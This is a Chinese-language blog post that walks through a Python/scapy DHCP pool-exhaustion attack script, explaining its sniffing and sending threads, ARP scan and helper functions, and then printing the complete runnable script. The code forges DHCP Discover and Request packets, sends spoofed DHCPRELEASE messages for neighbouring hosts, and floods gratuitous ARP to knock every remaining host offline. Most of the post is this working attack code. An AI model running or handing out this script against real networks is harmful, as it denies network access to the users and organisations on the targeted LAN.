基于python的耗尽DHCP地址池攻击脚本分析

简介:

之前在博客上有浏览到其他大神写的耗尽DHCP地址池的攻击脚本,但是没有具体的解析,这里将简单介绍整个脚本的思路,和具体代码分析。
--------------------------------------------------------------分割线---------------------------------------------------------------------

脚本思路:

1.线程1----sniff_dhcp:
过滤抓取DHCP Offer报文,分析Offer报文字段,提取DHCP服务器回应的Offer信息。并根据提取的信息字段,伪造DHCP Request报文,发送

2. 线程2----send_dhcp:
发送DHCP Discover报文,寻找DHCP服务器

3. 主线程:
a.启动线程1----sniff_dhcp
b.启动线程2----send_dhcp
c.根据线程1中提取的offer信息,在DHCP服务器ip的网段中,以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
d.伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
e.伪造地址池中网段中的主机,发送免费arp,刷新表项

--------------------------------------------------------------分割线---------------------------------------------------------------------

代码分析:

原有的代码是基于linux的系统的,我的是window系统,而且代码中有一些小改动,但是整体的思路都是一样的。
这里先分段介绍,代码里面会有详细的中文备注,文章的最后,会将所有代码都贴出来

一、线程1,
过滤抓取DHCP Offer报文,分析Offer报文字段,提取DHCP服务器回应的Offer信息。并根据提取的信息字段,伪造DHCP Request报文,发送

#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.filter = "udp and src port 67 and dst port 68"
        self.kill_received = False
        self.dhcpcount = 0

    def run(self):
        global dhcpdos
        while not self.kill_received and not dhcpdos:
            # prn指定回调函数,每当符合filter的报文被探测到时,就会执行回调函数,store:是存储嗅探的包,还是丢弃
            sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=interface)
            # print "timeout waiting on dhcp packet count %d" % self.dhcpcount
            self.dhcpcount += 1
            if self.dhcpcount == 5:  # 当超过5次没收到offer包,置位(也就是15秒)
                dhcpdos = True

    def detect_dhcp(self, pkt):
        global dhcpsmac, dhcpsip, subnet
        if DHCP in pkt:
            if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:  # 代表是dhcp offer报文
                self.dhcpcount = 0
                dhcpsip = pkt[IP].src
                dhcpsmac = pkt[Ether].src
                for opt in pkt[DHCP].options:  # 遍历option,找到掩码字段
                    if opt[0] == 'subnet_mask':
                        subnet = opt[1]
                        break

                myip = pkt[BOOTP].yiaddr  # 客户端的ip,服务器分发的
                sip = pkt[BOOTP].siaddr  # 表明DHCP协议流程的下一个阶段要使用的 服务器 的IP地址 (0.0.0.0)
                localxid = pkt[BOOTP].xid  # 事物ID
                localm = unpack_mac(pkt[BOOTP].chaddr)  # 客户端的硬件地址
                myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))

                print("DHCPOFFER handing out IP: " + myip)
                # 是否打印详细信息
                if verbose:
                    print(
                        "DHCPOFFER detected from " + pkt[Ether].src,
                        sip + " on " + interface + ", handing out IP: " + myip)

                # 根据上一步捕获到的offer包信息,伪造request报文去请求ip地址
                dhcp_req = Ether(src=localm, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
                    sport=68, dport=67) / BOOTP(chaddr=[mac2str(localm)], xid=localxid) / DHCP(
                    options=[("message-type", "request"), ("server_id", sip), ("requested_addr", myip),
                             ("hostname", myhostname), ("param_req_list", "pad"), "end"])
                sendp(dhcp_req, verbose=0, iface=interface)
                print "sent DHCP Request for " + myip

二、线程2–
发送DHCP Discover报文,寻找DHCP服务器

#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.kill_received = False

    def run(self):
        global timer, dhcpdos
        while not self.kill_received and not dhcpdos:
            m = random_mac()
            myxid = random.randint(1, 900000000)
            hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
            dhcp_discover = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
                sport=68, dport=67) / BOOTP(chaddr=[mac2str(m)], xid=myxid) / DHCP(
                options=[("message-type", "discover"), ("hostname", hostname), "end"])
            print "\n\n\nSending DHCPDISCOVER on " + interface
            sendp(dhcp_discover, verbose=0, iface=interface)
            time.sleep(timer)

三、主线程:
a.启动线程1----sniff_dhcp
b.启动线程2----send_dhcp
c.根据线程1中提取的offer信息,在DHCP服务器ip的网段中,以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
d.伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
e.伪造地址池中网段中的主机,发送免费arp,刷新表项

def main(args):
    checkArgs()
    signal.signal(signal.SIGINT, signal_handler)
    ada_name = get_ada_name()
    global t1, t2, t3, dhcpdos, dhcpsip, dhcpmac, subnet, nodes, timer
    dhcpsip = None
    dhcpsmac = None
    subnet = None
    nodes = {}
    dhcpdos = False
    timer = 1

    # 先启动sniff抓包线程
    t1 = sniff_dhcp()
    t1.start()

    # 启动发送dhcp_discover线程
    t2 = send_dhcp()
    t2.start()

    while dhcpsip is None:
        time.sleep(1)
        print "waiting for first DHCP Server response on " + interface
    print dhcpsip
    neighbors()
    release(ada_name[0])

    # 等待DHCP地址池被耗尽
    while not dhcpdos:
        time.sleep(5)
        print "waiting for DOS"

    print "DHCP Exhausted, knock all remaining hosts offline"
    time.sleep(10)
    # 伪造网段中的主机,发送免费arp
    garp(ada_name[0])
    print "All done"


def usage():
    print __doc__


if __name__ == '__main__':
    sys.exit(not main(sys.argv))

四、其他辅助的函数:
下面会贴出其他辅助的函数,比如必要的网络参数解析、arp网段扫描、网卡识别等等

def checkArgs():
    global Field, Value, ada_name
    try:
        # 过滤掉脚本的第一个参数
        # getopt返回两个列表,opts和args,
        # args为不属于格式信息的剩余的命令行参数,即不是按照getopt()里面定义的长或短选项字符和附加参数以外的信息
        # opts是一个两元组的列表。每个元素为:(选项串, 附加参数)。如果没有附加参数则为空串
        opts, args = getopt.getopt(sys.argv[1:], "hd")
    except getopt.GetoptError, err:
        # print help information and exit:
        print str(err)  # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o, a in opts:
        if o in ("-d", "--debug"):
            global verbose
            verbose = True
        elif o in ("-h", "--help"):
            usage()
            sys.exit()
        else:
            assert False, "unhandled option"
    if len(args) == 1:
        global interface
        interface = args[0]
    else:
        # 改动,如果脚本没参数,则选择默认的第一个网卡
        ada_name = get_ada_name()
        interface = ada_name[0]
        usage()
        # sys.exit(2)


# 掐断后指令,将标记置位
def signal_handler(signal, frame):
    print 'Exit'
    t1.kill_received = True
    t2.kill_received = True
    sys.exit(0)


######################################
# Necessary Network functions not included in scapy
#
def random_mac():
    mac = [0x00, 0x0c, 0x29,
           random.randint(0x00, 0x7f),
           random.randint(0x00, 0xff),
           random.randint(0x00, 0xff)]
    return ':'.join(map(lambda x: "%02x" % x, mac))


def to_num(ip):
    "convert decimal dotted quad string to long integer"
    return struct.unpack('L', socket.inet_aton(ip))[0]


def get_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    my_host_name = socket.gethostname()
    return socket.gethostbyname(my_host_name)


def get_if_net(iff):
    for net, msk, gw, iface, addr in read_routes():
        if iff == iface and net != 0L:
            return ltoa(net)
    warning("No net address found for iface %s\n" % iff);


def get_if_ip(iff):
    for net, msk, gw, iface, addr in read_routes():
        if iff == iface and net != 0L:
            return addr
    warning("No net address found for iface %s\n" % iff);


# 将点分十进制的mask,转换为十进制掩码
# ex:255.255.255.0转为24
def calc_cidr(mask):
    mask = mask.split('.')
    bits = []
    for c in mask:
        bits.append(bin(int(c)))
    bits = ''.join(bits)
    cidr = 0
    for c in bits:
        if c == '1':
            cidr += 1
    return str(cidr)


def unpack_mac(binmac):
    # 转成16进制表示
    mac = binascii.hexlify(binmac)[0:12]
    blocks = [mac[x:x + 2] for x in xrange(0, len(mac), 2)]
    return ':'.join(blocks)


def get_ada_name():
    # 返回网卡名称列表
    adapters_info = []
    info = ifaddr.get_adapters()
    for k in info:
        print k.nice_name
        adapters_info.append(k.nice_name)
    return adapters_info


#  ARP and create map of LAN neighbors
#  以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
def neighbors():
    global dhcpsip, subnet, nodes
    nodes = {}
    rand_mac = random_mac()
    net = dhcpsip + "/" + calc_cidr(subnet)
    ans, unans = srp(Ether(src=rand_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net, psrc=dhcpsip), timeout=8,
                     filter="arp and arp[7] = 2")
    for request, reply in ans:
        nodes[reply.hwsrc] = reply.psrc  # hwsrc回应报文中的srcmac,psrc回应报文中的sip,
        # 也就是网段中正常获取ip地址的主机mac/ip的信息,存入字段变量nodes中
        print "%15s - %s " % (reply.psrc, reply.hwsrc)


#
# send release for our neighbors
#
def release(interface):
    global dhcpsmac, dhcpsip, nodes
    print "***  Sending DHCPRELEASE for neighbors "
    myxid = random.randint(1, 900000000)
    #
    # iterate over all ndoes and release their IP from DHCP server
    # 伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
    for cmac, cip in nodes.iteritems():
        dhcp_release = Ether(src=cmac, dst=dhcpsmac) / IP(src=cip, dst=dhcpsip) / UDP(sport=68, dport=67) / BOOTP(
            ciaddr=cip, chaddr=[mac2str(cmac)], xid=myxid, ) / DHCP(
            options=[("message-type", "release"), ("server_id", dhcpsip), ("client_id", chr(1), mac2str(cmac)), "end"])
        sendp(dhcp_release, verbose=0, iface=interface)
        print "Releasing %s - %s" % (cmac, cip)
    # if verbose:
    # print "%r" % dhcp_release
    """
    xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应,
        客户端用它对请求和应答进行匹配。该ID由客户端设置并由服务器返回,为32位整数

    ciaddr:客户端的IP地址。只有客户端是Bound、Renew、Rebinding状态,并且能响应ARP请求时,才能被填充

    chaddr:客户端硬件地址。客户端必须设置它的"chaddr"字段。UDP数据包中的以太网帧首部也有该字段,但通常通过查看UDP
    数据包来确定以太网帧首部中的该字段获取该值比较困难或者说不可能,而在UDP协议承载的DHCP报文中设置该字段,
    用户进程就可以很容易地获取该值


    """


#
# now knock everyone offline
# 伪造网段中的主机,发送免费arp
def garp(interface):
    global dhcpsip, subnet
    pool = Net(dhcpsip + "/" + calc_cidr(subnet))
    for ip in pool:
        m = random_mac()
        arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
        sendp(arpp, verbose=0, iface=interface)  # verbose=0不显示详细信息
        print "Knocking %s offline, goodbye" % ip
    # if verbose:
    # print "%r" % arpp
    """
    hwsrc: 二层源mac (sender mac)
    hwdst:二层目的mac (target mac)
    psrc:三层源ip (sender ip)
    pdst:三层目的ip	(target ip )

    """

五、脚本整体!~~

# coding=utf-8
"""
DHCP exhaustion attack plus.
Usage:
  pig.py [-d -h] <interface>
"""
import binascii
import ifaddr
from scapy.all import *
from scapy.layers.dhcp import DHCP, BOOTP
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether, ARP
import getopt
import random
import signal
import string
import sys
import threading

conf.checkIPaddr = False
verbose = False
Debug = False


def checkArgs():
    global Field, Value, ada_name
    try:
        # 过滤掉脚本的第一个参数
        # getopt返回两个列表,opts和args,
        # args为不属于格式信息的剩余的命令行参数,即不是按照getopt()里面定义的长或短选项字符和附加参数以外的信息
        # opts是一个两元组的列表。每个元素为:(选项串, 附加参数)。如果没有附加参数则为空串
        opts, args = getopt.getopt(sys.argv[1:], "hd")
    except getopt.GetoptError, err:
        # print help information and exit:
        print str(err)  # will print something like "option -a not recognized"
        usage()
        sys.exit(2)
    for o, a in opts:
        if o in ("-d", "--debug"):
            global verbose
            verbose = True
        elif o in ("-h", "--help"):
            usage()
            sys.exit()
        else:
            assert False, "unhandled option"
    if len(args) == 1:
        global interface
        interface = args[0]
    else:
        # 改动,如果脚本没参数,则选择默认的第一个网卡
        ada_name = get_ada_name()
        interface = ada_name[0]
        usage()
        # sys.exit(2)


# 掐断后指令,将标记置位
def signal_handler(signal, frame):
    print 'Exit'
    t1.kill_received = True
    t2.kill_received = True
    sys.exit(0)


######################################
# Necessary Network functions not included in scapy
#
def random_mac():
    mac = [0x00, 0x0c, 0x29,
           random.randint(0x00, 0x7f),
           random.randint(0x00, 0xff),
           random.randint(0x00, 0xff)]
    return ':'.join(map(lambda x: "%02x" % x, mac))


def to_num(ip):
    "convert decimal dotted quad string to long integer"
    return struct.unpack('L', socket.inet_aton(ip))[0]


def get_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    my_host_name = socket.gethostname()
    return socket.gethostbyname(my_host_name)


def get_if_net(iff):
    for net, msk, gw, iface, addr in read_routes():
        if iff == iface and net != 0L:
            return ltoa(net)
    warning("No net address found for iface %s\n" % iff);


def get_if_ip(iff):
    for net, msk, gw, iface, addr in read_routes():
        if iff == iface and net != 0L:
            return addr
    warning("No net address found for iface %s\n" % iff);


# 将点分十进制的mask,转换为十进制掩码
# ex:255.255.255.0转为24
def calc_cidr(mask):
    mask = mask.split('.')
    bits = []
    for c in mask:
        bits.append(bin(int(c)))
    bits = ''.join(bits)
    cidr = 0
    for c in bits:
        if c == '1':
            cidr += 1
    return str(cidr)


def unpack_mac(binmac):
    # 转成16进制表示
    mac = binascii.hexlify(binmac)[0:12]
    blocks = [mac[x:x + 2] for x in xrange(0, len(mac), 2)]
    return ':'.join(blocks)


def get_ada_name():
    # 返回网卡名称列表
    adapters_info = []
    info = ifaddr.get_adapters()
    for k in info:
        print k.nice_name
        adapters_info.append(k.nice_name)
    return adapters_info


#  ARP and create map of LAN neighbors
#  以DHCP服务器ip为sip,在它的网断内进行arp扫描,并过滤收包,arp[7]=2代表是arp的回应包
def neighbors():
    global dhcpsip, subnet, nodes
    nodes = {}
    rand_mac = random_mac()
    net = dhcpsip + "/" + calc_cidr(subnet)
    ans, unans = srp(Ether(src=rand_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net, psrc=dhcpsip), timeout=8,
                     filter="arp and arp[7] = 2")
    for request, reply in ans:
        nodes[reply.hwsrc] = reply.psrc  # hwsrc回应报文中的srcmac,psrc回应报文中的sip,
        # 也就是网段中正常获取ip地址的主机mac/ip的信息,存入字段变量nodes中
        print "%15s - %s " % (reply.psrc, reply.hwsrc)


#
# send release for our neighbors
#
def release(interface):
    global dhcpsmac, dhcpsip, nodes
    print "***  Sending DHCPRELEASE for neighbors "
    myxid = random.randint(1, 900000000)
    #
    # iterate over all ndoes and release their IP from DHCP server
    # 伪造终端给dhcp服务器发送release报文,让dhcp服务器释放掉ip地址
    for cmac, cip in nodes.iteritems():
        dhcp_release = Ether(src=cmac, dst=dhcpsmac) / IP(src=cip, dst=dhcpsip) / UDP(sport=68, dport=67) / BOOTP(
            ciaddr=cip, chaddr=[mac2str(cmac)], xid=myxid, ) / DHCP(
            options=[("message-type", "release"), ("server_id", dhcpsip), ("client_id", chr(1), mac2str(cmac)), "end"])
        sendp(dhcp_release, verbose=0, iface=interface)
        print "Releasing %s - %s" % (cmac, cip)
    # if verbose:
    # print "%r" % dhcp_release
    """
    xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应,
        客户端用它对请求和应答进行匹配。该ID由客户端设置并由服务器返回,为32位整数

    ciaddr:客户端的IP地址。只有客户端是Bound、Renew、Rebinding状态,并且能响应ARP请求时,才能被填充

    chaddr:客户端硬件地址。客户端必须设置它的"chaddr"字段。UDP数据包中的以太网帧首部也有该字段,但通常通过查看UDP
    数据包来确定以太网帧首部中的该字段获取该值比较困难或者说不可能,而在UDP协议承载的DHCP报文中设置该字段,
    用户进程就可以很容易地获取该值


    """


#
# now knock everyone offline
# 伪造网段中的主机,发送免费arp
def garp(interface):
    global dhcpsip, subnet
    pool = Net(dhcpsip + "/" + calc_cidr(subnet))
    for ip in pool:
        m = random_mac()
        arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
        sendp(arpp, verbose=0, iface=interface)  # verbose=0不显示详细信息
        print "Knocking %s offline, goodbye" % ip
    # if verbose:
    # print "%r" % arpp
    """
    hwsrc: 二层源mac (sender mac)
    hwdst:二层目的mac (target mac)
    psrc:三层源ip (sender ip)
    pdst:三层目的ip	(target ip )

    """


#
# loop and send Discovers
#
class send_dhcp(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.kill_received = False

    def run(self):
        global timer, dhcpdos
        while not self.kill_received and not dhcpdos:
            m = random_mac()
            myxid = random.randint(1, 900000000)
            hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
            dhcp_discover = Ether(src=m, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
                sport=68, dport=67) / BOOTP(chaddr=[mac2str(m)], xid=myxid) / DHCP(
                options=[("message-type", "discover"), ("hostname", hostname), "end"])
            print "\n\n\nSending DHCPDISCOVER on " + interface
            sendp(dhcp_discover, verbose=0, iface=interface)
            time.sleep(timer)


#
#
# sniff DHCP Offers and ACK
#
class sniff_dhcp(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.filter = "udp and src port 67 and dst port 68"
        self.kill_received = False
        self.dhcpcount = 0

    def run(self):
        global dhcpdos
        while not self.kill_received and not dhcpdos:
            # prn指定回调函数,每当符合filter的报文被探测到时,就会执行回调函数,store:是存储嗅探的包,还是丢弃
            sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=interface)
            # print "timeout waiting on dhcp packet count %d" % self.dhcpcount
            self.dhcpcount += 1
            if self.dhcpcount == 5:  # 当超过5次没收到offer包,置位(也就是15秒)
                dhcpdos = True

    def detect_dhcp(self, pkt):
        global dhcpsmac, dhcpsip, subnet
        if DHCP in pkt:
            if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:  # 代表是dhcp offer报文
                self.dhcpcount = 0
                dhcpsip = pkt[IP].src
                dhcpsmac = pkt[Ether].src
                for opt in pkt[DHCP].options:  # 遍历option,找到掩码字段
                    if opt[0] == 'subnet_mask':
                        subnet = opt[1]
                        break

                myip = pkt[BOOTP].yiaddr  # 客户端的ip,服务器分发的
                sip = pkt[BOOTP].siaddr  # 表明DHCP协议流程的下一个阶段要使用的 服务器 的IP地址 (0.0.0.0)
                localxid = pkt[BOOTP].xid  # 事物ID
                localm = unpack_mac(pkt[BOOTP].chaddr)  # 客户端的硬件地址
                myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))

                print("DHCPOFFER handing out IP: " + myip)
                # 是否打印详细信息
                if verbose:
                    print(
                        "DHCPOFFER detected from " + pkt[Ether].src,
                        sip + " on " + interface + ", handing out IP: " + myip)

                # 根据上一步捕获到的offer包信息,伪造request报文去请求ip地址
                dhcp_req = Ether(src=localm, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(
                    sport=68, dport=67) / BOOTP(chaddr=[mac2str(localm)], xid=localxid) / DHCP(
                    options=[("message-type", "request"), ("server_id", sip), ("requested_addr", myip),
                             ("hostname", myhostname), ("param_req_list", "pad"), "end"])
                sendp(dhcp_req, verbose=0, iface=interface)
                print "sent DHCP Request for " + myip


#
#
# MAIN()
#
def main(args):
    checkArgs()

    signal.signal(signal.SIGINT, signal_handler)
    ada_name = get_ada_name()
    global t1, t2, t3, dhcpdos, dhcpsip, dhcpmac, subnet, nodes, timer
    dhcpsip = None
    dhcpsmac = None
    subnet = None
    nodes = {}
    dhcpdos = False
    timer = 1

    # 先启动sniff抓包线程
    t1 = sniff_dhcp()
    t1.start()

    # 启动发送dhcp_discover线程
    t2 = send_dhcp()
    t2.start()

    while dhcpsip is None:
        time.sleep(1)
        print "waiting for first DHCP Server response on " + interface
    print dhcpsip
    neighbors()
    release(ada_name[0])

    # 等待DHCP地址池被耗尽
    while not dhcpdos:
        time.sleep(5)
        print "waiting for DOS"

    print "DHCP Exhausted, knock all remaining hosts offline"
    time.sleep(10)
    # 伪造网段中的主机,发送免费arp
    garp(ada_name[0])
    print "All done"


def usage():
    print __doc__


if __name__ == '__main__':
    sys.exit(not main(sys.argv))

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值